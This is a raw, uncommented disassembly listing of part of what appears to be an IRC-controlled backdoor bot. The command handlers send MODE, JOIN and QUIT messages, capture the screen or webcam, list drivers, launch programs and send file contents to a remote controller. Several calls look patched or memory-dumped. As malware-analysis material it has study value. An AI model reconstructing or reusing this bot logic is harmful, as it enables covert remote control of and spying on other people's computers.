loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_42F7C8


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42F79C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset dword_42F760
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F758
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42F750
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42F744
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42F750
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42F728


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F720
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42F750
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42F704
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_42F750
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42F6E8
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_42F6C0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42F6B4
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2680E26h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_42F6A0
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42FDD4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42F684
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42F664
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42F644


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42F898
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42F61C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F5EC
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42F5D0
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F59C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_42F56C
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_42F530


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4D0854
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42F500
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F4D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F4A4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_42F470
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_42F438


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_42F40C
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_42F3CC
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_42F38C
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42F368
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42F344
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_42F340 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42F314


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F2FC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_42F2DC
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_42F2C0
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F2A8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		call	near ptr 2680E26h
		nop
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2690A97h
		push	eax
		push	offset unk_42F268


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_42F250
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F22C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2680E26h
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 269022Dh
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42F210
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42FA10
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_42F1EC
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_42F1BC


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_42F19C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_42F16C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4D0864
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4D07DC
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42F14C
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4D08A8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4D08B0
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42F124
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_42F0FC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4D0790
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_42F0DC
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_42F0B8
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42F090
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_430D9C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 2680E26h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_44376C[eax]
		call	dword_4D08BC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_443774[eax]
		nop
		call	near ptr 26A0BC8h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_443774[eax], ebx
